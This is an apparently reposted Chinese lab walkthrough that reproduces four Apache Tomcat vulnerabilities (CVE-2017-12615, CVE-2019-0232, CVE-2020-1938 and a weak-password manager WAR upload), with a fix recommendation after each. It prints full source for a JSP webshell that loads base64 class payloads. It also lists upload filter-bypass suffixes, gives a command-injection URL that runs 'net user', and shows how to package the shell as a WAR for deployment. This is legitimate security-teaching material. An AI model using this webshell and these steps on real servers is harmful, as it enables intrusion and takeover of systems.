常见中间件——Tomcat漏洞复现分析

文章目录

  • Tomcat 任意文件写入(CVE-2017-12615)
    • 漏洞本质
    • 原因
    • jsp木马
    • 绕过方式:
    • 修复建议
  • Tomcat 远程代码执行(CVE-2019-0232)
    • 漏洞本质
    • 修复建议
  • Tomcat 文件包含漏洞(CVE-2020-1938)
    • 漏洞本质
    • 修复建议
  • Tomcat + 弱口令 && 后台getshell漏洞
    • 修复建议
  • 转载

Tomcat 任意文件写入(CVE-2017-12615)

影响范围: Tomcat 7.0.0-7.0.81(默认配置)

测试环境:Apache Tomcat v8.5.39

漏洞本质

Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件
如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞

docker打开环境https://github.com/vulhub/vulhub
常见中间件——Tomcat漏洞复现分析_第1张图片

docker ps
docker exec -ti 9eb90787a80f bash
cat conf/web.xml | grep readonly

在这里插入图片描述

原因

可以看到Tomcat配置文件/conf/web.xml 配置了可写(readonly=false)

抓个包,修改一下数据包改成put,写入一个jsp文件

可以看到成功写入任意文件
常见中间件——Tomcat漏洞复现分析_第2张图片
常见中间件——Tomcat漏洞复现分析_第3张图片

既然可以写入任意文件,那也可以写入后门来getshell

jsp木马

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

常见中间件——Tomcat漏洞复现分析_第4张图片

如存在过滤

绕过方式:

文件后缀加/ ( 应用系统中 /在文件名中是非法的,会被自动去除)
文件后缀加::$DATA
文件后缀加&20 (windows不允许空格结尾

修复建议

将readonly=true,默认为true。

Tomcat 远程代码执行(CVE-2019-0232)

影响范围:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

测试环境:Apache Tomcat v8.5.39(apache V8.5.39)、windows

漏洞本质

CVE-2019-0232漏洞是由于Tomcat CGI将命令行参数 传递给Windows程序的方式存在错误,使得CHIServler被命令注入影响。该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用

376行和419行取消注释并添加参数

常见中间件——Tomcat漏洞复现分析_第5张图片
常见中间件——Tomcat漏洞复现分析_第6张图片


debug
0


executable


常见中间件——Tomcat漏洞复现分析_第7张图片
常见中间件——Tomcat漏洞复现分析_第8张图片

在content.xml 19行处添加privileged属性为true
常见中间件——Tomcat漏洞复现分析_第9张图片

在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建xxx.bat文件,名字内容任意。

bin目录下startup.bat 开启tomcat服务

访问http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user,执行net user 命令
(net命令的路径要写全,直接写net user,Tomcat控制台会提示net不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B都会执行失败,控制台报错。)
常见中间件——Tomcat漏洞复现分析_第10张图片

修复建议

这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。

Tomcat 文件包含漏洞(CVE-2020-1938)

影响范围:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30

测试环境:Apache Tomcat v9.0.30

漏洞本质

由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下配合文件包含的利用还可以达到远程代码执行的危害
常见中间件——Tomcat漏洞复现分析_第11张图片

nmap扫到还有一个AJP端口8009正在监听

使用工具读取 web.xml文件
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞 (github.com)
常见中间件——Tomcat漏洞复现分析_第12张图片

(这里试了一下能不能通过文件包含实现RCE,但是只会读文件不会执行命令不知道怎么回事)

修复建议

将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复。如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost

Tomcat + 弱口令 && 后台getshell漏洞

环境:Apache Tomcat/7.0.94

在conf/tomcat-users.xml文件中配置用户的权限和一个弱口令tomcat/tomcat

Tomcat 7+的权限有:

manager(后台管理)

  • manager-gui拥有html页面权限
  • manager-status拥有查看status的权限
    manager-script拥有text接口权限(包括status权限)
    manager-jmx拥有jmx权限(包括status权限)

host-manager(虚拟主机管理)

  • admin-gui拥有html页面权限
  • admin-script拥有text接口权限









常见中间件——Tomcat漏洞复现分析_第13张图片

正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

访问 http://127.0.0.1:8080/manager/html ,输入弱口令tomcat/tomcat进入后台(弱口令可以进行爆破)

常见中间件——Tomcat漏洞复现分析_第14张图片

写一个jsp的木马(见上),然后打包成war包,上传的war会被自动解压部署
jar -cvf shell.war shell.jsp

war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。
当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。
War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。

常见中间件——Tomcat漏洞复现分析_第15张图片

可以看到已经上传上去了,接着使用蚁剑连接后门127.0.0.1:8080/shell/shell.jsp

常见中间件——Tomcat漏洞复现分析_第16张图片

上传的位置在webapps里
常见中间件——Tomcat漏洞复现分析_第17张图片

修复建议

取消manager/html功能。若要使用,manager页面应只允许本地IP访问

转载

常见中间件——Tomcat漏洞复现分析

你可能感兴趣的:(漏洞复现,tomcat,中间件,java)